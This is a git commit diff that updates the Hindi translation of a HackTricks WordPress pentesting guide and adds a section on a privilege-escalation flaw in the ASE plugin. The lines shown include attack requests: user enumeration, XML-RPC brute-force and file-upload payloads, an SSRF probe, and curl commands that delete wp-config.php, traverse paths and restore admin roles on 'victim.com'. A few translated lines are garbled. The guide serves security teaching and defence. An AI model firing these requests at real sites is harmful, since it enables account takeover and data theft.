mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
23cddbbc99
commit
2cc4b29782
@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### सामान्य में संस्करण निकालें
|
||||
### सामान्य रूप से संस्करण निकालें
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
@ -85,7 +85,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### उपयोगकर्ता
|
||||
|
||||
- **आईडी ब्रूट:** आप ब्रूट फोर्सिंग उपयोगकर्ता आईडी से एक WordPress साइट से मान्य उपयोगकर्ता प्राप्त करते हैं:
|
||||
- **आईडी ब्रूट:** आप उपयोगकर्ता आईडी को ब्रूट फोर्स करके एक वर्डप्रेस साइट से मान्य उपयोगकर्ता प्राप्त करते हैं:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
@ -95,7 +95,7 @@ curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
एक और `/wp-json/` एंडपॉइंट जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है वह है:
|
||||
एक और `/wp-json/` एंडपॉइंट जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
@ -107,9 +107,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
### XML-RPC
|
||||
|
||||
यदि `xml-rpc.php` सक्रिय है तो आप क्रेडेंशियल्स ब्रूट-फोर्स कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS हमले शुरू करने के लिए कर सकते हैं। (आप इस प्रक्रिया को स्वचालित कर सकते हैं[ इसका उपयोग करके](https://github.com/relarizky/wpxploit) उदाहरण के लिए)।
|
||||
यदि `xml-rpc.php` सक्रिय है, तो आप क्रेडेंशियल्स ब्रूट-फोर्स कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS हमले शुरू करने के लिए कर सकते हैं। (आप इस प्रक्रिया को स्वचालित कर सकते हैं[ इसका उपयोग करके](https://github.com/relarizky/wpxploit) उदाहरण के लिए)।
|
||||
|
||||
यह देखने के लिए कि क्या यह सक्रिय है, _**/xmlrpc.php**_ पर पहुँचने की कोशिश करें और यह अनुरोध भेजें:
|
||||
यह देखने के लिए कि क्या यह सक्रिय है, _**/xmlrpc.php**_ तक पहुँचने का प्रयास करें और यह अनुरोध भेजें:
|
||||
|
||||
**जांचें**
|
||||
```html
|
||||
@ -132,13 +132,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
संदेश _"Incorrect username or password"_ 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल्स मान्य नहीं होते।
|
||||
संदेश _"Incorrect username or password"_ 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल मान्य नहीं होते।
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
सही क्रेडेंशियल्स का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। प्रतिक्रिया में पथ दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
सही क्रेडेंशियल का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। प्रतिक्रिया में पथ दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -191,7 +191,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||

|
||||
|
||||
यदि आपको **faultCode** एक **0** (17) से **बड़ा** मान मिलता है, तो इसका मतलब है कि पोर्ट खुला है।
|
||||
यदि आपको **faultCode** एक मान **greater** फिर **0** (17) मिलता है, तो इसका मतलब है कि पोर्ट खुला है।
|
||||
|
||||
DDoS का कारण बनने के लिए इस विधि का दुरुपयोग करने के लिए पिछले अनुभाग में **`system.multicall`** के उपयोग पर एक नज़र डालें।
|
||||
|
||||
@ -210,16 +210,16 @@ DDoS का कारण बनने के लिए इस विधि क
|
||||
### wp-cron.php DoS
|
||||
|
||||
यह फ़ाइल आमतौर पर Wordpress साइट की जड़ के तहत मौजूद होती है: **`/wp-cron.php`**\
|
||||
जब इस फ़ाइल को **एक्सेस** किया जाता है, तो एक "**भारी**" MySQL **क्वेरी** की जाती है, इसलिए इसे **हमलावरों** द्वारा **DoS** **कारण** के लिए उपयोग किया जा सकता है।\
|
||||
इसके अलावा, डिफ़ॉल्ट रूप से, `wp-cron.php` हर पृष्ठ लोड पर (जब भी कोई क्लाइंट कोई Wordpress पृष्ठ मांगता है) कॉल किया जाता है, जो उच्च-ट्रैफ़िक साइटों पर समस्याएँ पैदा कर सकता है (DoS)।
|
||||
जब इस फ़ाइल को **एक्सेस** किया जाता है, तो एक "**भारी**" MySQL **क्वेरी** की जाती है, इसलिए इसका उपयोग **हमलावरों** द्वारा **DoS** **कारण** करने के लिए किया जा सकता है।\
|
||||
इसके अलावा, डिफ़ॉल्ट रूप से, `wp-cron.php` हर पृष्ठ लोड पर (जब भी कोई क्लाइंट कोई Wordpress पृष्ठ अनुरोध करता है) कॉल किया जाता है, जो उच्च-ट्रैफ़िक साइटों पर समस्याएँ पैदा कर सकता है (DoS)।
|
||||
|
||||
Wp-Cron को निष्क्रिय करने और होस्ट के अंदर एक वास्तविक क्रोनजॉब बनाने की सिफारिश की जाती है जो नियमित अंतराल पर आवश्यक क्रियाएँ करता है (बिना समस्याएँ उत्पन्न किए)।
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ पर पहुँचने की कोशिश करें और Worpress साइट आपसे एक अनुरोध कर सकती है।
|
||||
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ तक पहुँचने का प्रयास करें और Worpress साइट आपसे अनुरोध कर सकती है।
|
||||
|
||||
जब यह काम नहीं करता है तो यह प्रतिक्रिया है:
|
||||
यह प्रतिक्रिया है जब यह काम नहीं करता:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -229,7 +229,7 @@ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt1
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** मौजूद है या नहीं, और यदि यह मौजूद है, तो यह उनका शोषण करने की कोशिश करता है।
|
||||
यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** मौजूद है या नहीं, और यदि यह मौजूद है, तो यह उनका शोषण करने का प्रयास करता है।
|
||||
|
||||
## Automatic Tools
|
||||
```bash
|
||||
@ -239,14 +239,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Get access by overwriting a bit
|
||||
|
||||
यह एक वास्तविक हमले से अधिक एक जिज्ञासा है। CTF में [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) आप किसी भी वर्डप्रेस फ़ाइल से 1 बिट को पलट सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के स्थान `5389` को NOT (`!`) ऑपरेशन को NOP करने के लिए पलट सकते थे।
|
||||
यह एक वास्तविक हमले से अधिक एक जिज्ञासा है। IN the CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) आप किसी भी wordpress फ़ाइल से 1 बिट को पलट सकते हैं। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के स्थिति `5389` को NOP NOT (`!`) ऑपरेशन के लिए पलट सकते हैं।
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **पैनल RCE**
|
||||
|
||||
**थीम से एक php को संशोधित करना (प्रशासनिक क्रेडेंशियल्स की आवश्यकता है)**
|
||||
**थीम से एक php को संशोधित करना (प्रशासनिक क्रेडेंशियल्स की आवश्यकता)**
|
||||
|
||||
दृश्य → थीम संपादक → 404 टेम्पलेट (दाईं ओर)
|
||||
|
||||
@ -297,14 +297,14 @@ Proceed पर क्लिक करें:
|
||||
|
||||
यह विधि एक दुर्बलता के लिए ज्ञात एक दुर्भावनापूर्ण प्लगइन के इंस्टॉलेशन को शामिल करती है और इसे वेब शेल प्राप्त करने के लिए शोषित किया जा सकता है। यह प्रक्रिया WordPress डैशबोर्ड के माध्यम से इस प्रकार की जाती है:
|
||||
|
||||
1. **Plugin Acquisition**: प्लगइन को Exploit DB जैसे स्रोत से प्राप्त किया जाता है जैसे [**यहाँ**](https://www.exploit-db.com/exploits/36374).
|
||||
1. **Plugin Acquisition**: प्लगइन को Exploit DB जैसे स्रोत से प्राप्त किया जाता है जैसे [**यहाँ**](https://www.exploit-db.com/exploits/36374)।
|
||||
2. **Plugin Installation**:
|
||||
- WordPress डैशबोर्ड पर जाएं, फिर `Dashboard > Plugins > Upload Plugin` पर जाएं।
|
||||
- डाउनलोड किए गए प्लगइन की zip फ़ाइल अपलोड करें।
|
||||
3. **Plugin Activation**: एक बार प्लगइन सफलतापूर्वक स्थापित हो जाने के बाद, इसे डैशबोर्ड के माध्यम से सक्रिय करना होगा।
|
||||
4. **Exploitation**:
|
||||
- "reflex-gallery" प्लगइन स्थापित और सक्रिय होने पर, इसे शोषित किया जा सकता है क्योंकि यह ज्ञात है कि यह दुर्बल है।
|
||||
- Metasploit ढांचा इस दुर्बलता के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरपेटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है।
|
||||
- Metasploit ढांचा इस दुर्बलता के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल को लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरप्रीटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है।
|
||||
- यह नोट किया गया है कि यह WordPress साइट को शोषित करने के कई तरीकों में से एक है।
|
||||
|
||||
सामग्री में प्लगइन को स्थापित और सक्रिय करने के लिए WordPress डैशबोर्ड में चरणों को दर्शाने वाले दृश्य सहायता शामिल हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि इस तरीके से दुर्बलताओं का शोषण करना बिना उचित प्राधिकरण के अवैध और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनटेस्टिंग।
|
||||
@ -338,9 +338,9 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
एक प्लगइन उपयोगकर्ताओं के लिए कार्यों को उजागर करने के तरीकों में से एक AJAX हैंडलर्स के माध्यम से है। इनमें लॉजिक, प्राधिकरण, या प्रमाणीकरण बग हो सकते हैं। इसके अलावा, यह अक्सर होता है कि ये कार्य प्रमाणीकरण और प्राधिकरण दोनों को एक Wordpress nonce की उपस्थिति पर आधारित करते हैं जिसे **किसी भी उपयोगकर्ता ने Wordpress उदाहरण में प्रमाणित किया हो सकता है** (इसके भूमिका के स्वतंत्रता में)।
|
||||
एक प्लगइन उपयोगकर्ताओं के लिए कार्यों को उजागर करने के तरीकों में से एक AJAX हैंडलर्स के माध्यम से है। इनमें लॉजिक, प्राधिकरण, या प्रमाणीकरण बग हो सकते हैं। इसके अलावा, यह अक्सर होता है कि ये कार्य प्रमाणीकरण और प्राधिकरण दोनों को एक Wordpress nonce के अस्तित्व पर आधारित करते हैं जिसे **किसी भी उपयोगकर्ता ने Wordpress उदाहरण में प्रमाणित किया हो सकता है** (इसके भूमिका के स्वतंत्र)।
|
||||
|
||||
ये वे कार्य हैं जिन्हें एक प्लगइन में कार्य को उजागर करने के लिए उपयोग किया जा सकता है:
|
||||
ये वे कार्य हैं जो एक प्लगइन में एक कार्य को उजागर करने के लिए उपयोग किए जा सकते हैं:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
@ -348,7 +348,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
**`nopriv` का उपयोग किसी भी उपयोगकर्ताओं (यहां तक कि अनधिकृत लोगों) द्वारा एंडपॉइंट को सुलभ बनाता है।**
|
||||
|
||||
> [!CAUTION]
|
||||
> इसके अलावा, यदि फ़ंक्शन केवल उपयोगकर्ता के प्राधिकरण की जांच कर रहा है `wp_verify_nonce` फ़ंक्शन के साथ, तो यह फ़ंक्शन केवल यह जांच रहा है कि उपयोगकर्ता लॉग इन है, यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं कर रहा है। इसलिए कम विशेषाधिकार प्राप्त उपयोगकर्ताओं को उच्च विशेषाधिकार प्राप्त क्रियाओं तक पहुंच मिल सकती है।
|
||||
> इसके अलावा, यदि फ़ंक्शन केवल `wp_verify_nonce` फ़ंक्शन के साथ उपयोगकर्ता के प्राधिकरण की जांच कर रहा है, तो यह फ़ंक्शन केवल यह जांच रहा है कि उपयोगकर्ता लॉग इन है, यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं कर रहा है। इसलिए कम विशेषाधिकार प्राप्त उपयोगकर्ताओं को उच्च विशेषाधिकार प्राप्त क्रियाओं तक पहुंच मिल सकती है।
|
||||
|
||||
- **REST API**
|
||||
|
||||
@ -362,7 +362,7 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
`permission_callback` एक ऐसा कॉलबैक है जो यह जांचता है कि क्या एक निर्दिष्ट उपयोगकर्ता API विधि को कॉल करने के लिए अधिकृत है।
|
||||
`permission_callback` एक फ़ंक्शन के लिए कॉलबैक है जो यह जांचता है कि क्या एक निर्दिष्ट उपयोगकर्ता API विधि को कॉल करने के लिए अधिकृत है।
|
||||
|
||||
**यदि अंतर्निहित `__return_true` फ़ंक्शन का उपयोग किया जाता है, तो यह बस उपयोगकर्ता अनुमतियों की जांच को छोड़ देगा।**
|
||||
|
||||
@ -375,7 +375,7 @@ $this->namespace, '/get/', array(
|
||||
WordPress थीम और प्लगइन्स अक्सर `wp_ajax_` और `wp_ajax_nopriv_` हुक के माध्यम से AJAX हैंडलर को उजागर करते हैं। जब **_nopriv_** संस्करण का उपयोग किया जाता है **तो कॉलबैक अनधिकृत आगंतुकों द्वारा पहुँच योग्य हो जाता है**, इसलिए किसी भी संवेदनशील क्रिया को अतिरिक्त रूप से लागू करना चाहिए:
|
||||
|
||||
1. एक **क्षमता जांच** (जैसे `current_user_can()` या कम से कम `is_user_logged_in()`), और
|
||||
2. एक **CSRF nonce** जिसे `check_ajax_referer()` / `wp_verify_nonce()` के साथ मान्य किया गया हो, और
|
||||
2. एक **CSRF nonce** जो `check_ajax_referer()` / `wp_verify_nonce()` के साथ मान्य किया गया हो, और
|
||||
3. **कठोर इनपुट सफाई / मान्यता**।
|
||||
|
||||
Litho बहुउद्देशीय थीम (< 3.1) ने *Remove Font Family* फीचर में उन 3 नियंत्रणों को भूल गया और अंततः निम्नलिखित कोड (सरल) भेजा:
|
||||
@ -411,9 +411,9 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
क्योंकि `wp-config.php` *uploads* के बाहर रहता है, एक डिफ़ॉल्ट इंस्टॉलेशन पर चार `../` अनुक्रम पर्याप्त हैं। `wp-config.php` को हटाने से अगले दौरे पर WordPress को *इंस्टॉलेशन विज़ार्ड* में मजबूर किया जाता है, जिससे पूरी साइट पर कब्जा करना संभव होता है (हमलावर केवल एक नया DB कॉन्फ़िगरेशन प्रदान करता है और एक व्यवस्थापक उपयोगकर्ता बनाता है)।
|
||||
क्योंकि `wp-config.php` *uploads* के बाहर रहता है, एक डिफ़ॉल्ट इंस्टॉलेशन पर चार `../` अनुक्रम पर्याप्त हैं। `wp-config.php` को हटाने से अगले दौरे पर WordPress *installation wizard* में चला जाता है, जिससे पूरी साइट पर कब्जा करना संभव हो जाता है (हमलावर केवल एक नया DB कॉन्फ़िगरेशन प्रदान करता है और एक व्यवस्थापक उपयोगकर्ता बनाता है)।
|
||||
|
||||
अन्य प्रभावशाली लक्ष्य में प्लगइन/थीम के `.php` फ़ाइलें (सुरक्षा प्लगइन्स को तोड़ने के लिए) या `.htaccess` नियम शामिल हैं।
|
||||
अन्य प्रभावशाली लक्ष्य में प्लगइन/थीम के `.php` फ़ाइलें (सुरक्षा प्लगइनों को तोड़ने के लिए) या `.htaccess` नियम शामिल हैं।
|
||||
|
||||
#### Detection checklist
|
||||
|
||||
@ -441,8 +441,72 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **हमेशा** डिस्क पर किसी भी लिखने/हटाने के ऑपरेशन को विशेषाधिकार प्राप्त समझें और दोबारा जांचें:
|
||||
> • प्रमाणीकरण • अधिकृत करना • नॉनस • इनपुट सफाई • पथ नियंत्रण (जैसे `realpath()` और `str_starts_with()` के माध्यम से)।
|
||||
> **हमेशा** डिस्क पर किसी भी लिखने/हटाने के ऑपरेशन को विशेषाधिकार प्राप्त के रूप में मानें और दोबारा जांचें:
|
||||
> • प्रमाणीकरण • प्राधिकरण • नॉनस • इनपुट सफाई • पथ सीमांकन (जैसे `realpath()` और `str_starts_with()` के माध्यम से)।
|
||||
|
||||
---
|
||||
|
||||
### पुरानी भूमिका पुनर्स्थापना और अनुपस्थित प्राधिकरण के माध्यम से विशेषाधिकार वृद्धि (ASE "View Admin as Role")
|
||||
|
||||
कई प्लगइन्स "view as role" या अस्थायी भूमिका-स्विचिंग फीचर को लागू करते हैं, जो उपयोगकर्ता मेटा में मूल भूमिका(ओं) को सहेजते हैं ताकि उन्हें बाद में पुनर्स्थापित किया जा सके। यदि पुनर्स्थापना पथ केवल अनुरोध पैरामीटर (जैसे, `$_REQUEST['reset-for']`) और एक प्लगइन-निर्मित सूची पर निर्भर करता है बिना क्षमताओं और एक मान्य नॉनस की जांच किए, तो यह एक ऊर्ध्वाधर विशेषाधिकार वृद्धि बन जाती है।
|
||||
|
||||
एक वास्तविक दुनिया का उदाहरण Admin और Site Enhancements (ASE) प्लगइन (≤ 7.6.2.1) में पाया गया। रीसेट शाखा ने `reset-for=<username>` के आधार पर भूमिकाओं को पुनर्स्थापित किया यदि उपयोगकर्ता नाम एक आंतरिक सरणी `$options['viewing_admin_as_role_are']` में दिखाई दिया, लेकिन वर्तमान भूमिकाओं को हटाने और उपयोगकर्ता मेटा `_asenha_view_admin_as_original_roles` से सहेजी गई भूमिकाओं को फिर से जोड़ने से पहले न तो `current_user_can()` जांच की गई और न ही नॉनस सत्यापन किया गया:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
|
||||
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
|
||||
|
||||
if ( in_array( $reset_for_username, $usernames, true ) ) {
|
||||
$u = get_user_by( 'login', $reset_for_username );
|
||||
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
|
||||
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
|
||||
foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
क्यों यह शोषणीय है
|
||||
|
||||
- `$_REQUEST['reset-for']` और एक प्लगइन विकल्प पर सर्वर-साइड प्राधिकरण के बिना भरोसा करता है।
|
||||
- यदि किसी उपयोगकर्ता के पास पहले `_asenha_view_admin_as_original_roles` में उच्च विशेषाधिकार सुरक्षित थे और उन्हें डाउनग्रेड किया गया, तो वे रीसेट पथ पर जाकर उन्हें पुनर्स्थापित कर सकते हैं।
|
||||
- कुछ तैनातियों में, कोई भी प्रमाणित उपयोगकर्ता `viewing_admin_as_role_are` में अभी भी मौजूद किसी अन्य उपयोगकर्ता नाम के लिए रीसेट को ट्रिगर कर सकता है (टूटी हुई प्राधिकरण)।
|
||||
|
||||
हमले की पूर्वापेक्षाएँ
|
||||
|
||||
- कमजोर प्लगइन संस्करण जिसमें यह सुविधा सक्षम है।
|
||||
- लक्षित खाते में पहले के उपयोग से उपयोगकर्ता मेटा में एक पुराना उच्च-विशेषाधिकार भूमिका संग्रहीत है।
|
||||
- कोई भी प्रमाणित सत्र; रीसेट प्रवाह पर नॉनस/क्षमता गायब है।
|
||||
|
||||
शोषण (उदाहरण)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
कमजोर बिल्ड पर, यह वर्तमान भूमिकाओं को हटा देता है और सहेजी गई मूल भूमिकाओं (जैसे, `administrator`) को फिर से जोड़ता है, प्रभावी रूप से विशेषाधिकार बढ़ाता है।
|
||||
|
||||
पता लगाने की चेकलिस्ट
|
||||
|
||||
- उन भूमिका-स्विचिंग सुविधाओं की तलाश करें जो उपयोगकर्ता मेटा में “मूल भूमिकाओं” को बनाए रखती हैं (जैसे, `_asenha_view_admin_as_original_roles`)।
|
||||
- रीसेट/पुनर्स्थापना पथों की पहचान करें जो:
|
||||
- `$_REQUEST` / `$_GET` / `$_POST` से उपयोगकर्ता नाम पढ़ते हैं।
|
||||
- `add_role()` / `remove_role()` के माध्यम से भूमिकाओं को संशोधित करते हैं बिना `current_user_can()` और `wp_verify_nonce()` / `check_admin_referer()` के।
|
||||
- एक प्लगइन विकल्प सरणी (जैसे, `viewing_admin_as_role_are`) के आधार पर अधिकृत करते हैं, न कि अभिनेता की क्षमताओं के आधार पर।
|
||||
|
||||
सुरक्षा बढ़ाना
|
||||
|
||||
- हर स्थिति-परिवर्तन शाखा पर क्षमता जांच को लागू करें (जैसे, `current_user_can('manage_options')` या अधिक सख्त)।
|
||||
- सभी भूमिका/अनुमति परिवर्तनों के लिए नॉनस की आवश्यकता करें और उन्हें सत्यापित करें: `check_admin_referer()` / `wp_verify_nonce()`।
|
||||
- कभी भी अनुरोध-प्रदत्त उपयोगकर्ता नामों पर भरोसा न करें; प्रमाणित अभिनेता और स्पष्ट नीति के आधार पर लक्षित उपयोगकर्ता को सर्वर-साइड पर हल करें।
|
||||
- प्रोफ़ाइल/भूमिका अपडेट पर “मूल भूमिकाओं” की स्थिति को अमान्य करें ताकि पुरानी उच्च-विशेषाधिकार बहाली से बचा जा सके:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- न्यूनतम स्थिति को स्टोर करने पर विचार करें और अस्थायी भूमिका स्विच के लिए समय-सीमित, क्षमता-रक्षित टोकन का उपयोग करें।
|
||||
|
||||
---
|
||||
|
||||
@ -466,10 +530,10 @@ Also, **केवल विश्वसनीय WordPress प्लगइन्
|
||||
|
||||
### **अन्य सिफारिशें**
|
||||
|
||||
- डिफ़ॉल्ट **admin** उपयोगकर्ता को हटाएं
|
||||
- डिफ़ॉल्ट **admin** उपयोगकर्ता को हटा दें
|
||||
- **मजबूत पासवर्ड** और **2FA** का उपयोग करें
|
||||
- समय-समय पर **उपयोगकर्ताओं** की **अनुमतियों** की **समीक्षा** करें
|
||||
- Brute Force हमलों को रोकने के लिए **लॉगिन प्रयासों** की संख्या सीमित करें
|
||||
- समय-समय पर **समीक्षा** करें उपयोगकर्ताओं की **अनुमतियाँ**
|
||||
- Brute Force हमलों को रोकने के लिए **लॉगिन प्रयासों** की सीमा निर्धारित करें
|
||||
- **`wp-admin.php`** फ़ाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ IP पते से पहुंच की अनुमति दें।
|
||||
|
||||
### अपर्याप्त सत्यापन के माध्यम से अनधिकृत SQL इंजेक्शन (WP Job Portal <= 2.3.2)
|
||||
@ -508,7 +572,7 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
|
||||
### अप्रमाणित मनमाना फ़ाइल डाउनलोड / पथ ट्रैवर्सल (WP Job Portal <= 2.3.2)
|
||||
|
||||
एक और कार्य, **downloadcustomfile**, आगंतुकों को पथ ट्रैवर्सल के माध्यम से **डिस्क पर कोई भी फ़ाइल डाउनलोड** करने की अनुमति देता था। कमजोर स्थान `modules/customfield/model.php::downloadCustomUploadedFile()` में स्थित है:
|
||||
एक और कार्य, **downloadcustomfile**, आगंतुकों को पथ ट्रैवर्सल के माध्यम से **डिस्क पर कोई भी फ़ाइल** डाउनलोड करने की अनुमति देता था। कमजोर स्थान `modules/customfield/model.php::downloadCustomUploadedFile()` में स्थित है:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
@ -531,5 +595,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
|
||||
- [Litho Theme में अनधिकृत मनमाना फ़ाइल हटाने की भेद्यता](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [WP Job Portal Plugin में कई महत्वपूर्ण भेद्यताएँ पैच की गईं](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [ASE Plugin में विशेषाधिकार वृद्धि का दुर्लभ मामला जो 100k+ साइटों को प्रभावित करता है](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 परिवर्तन सेट – प्रोफ़ाइल अपडेट पर मूल भूमिकाएँ हटाएँ](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user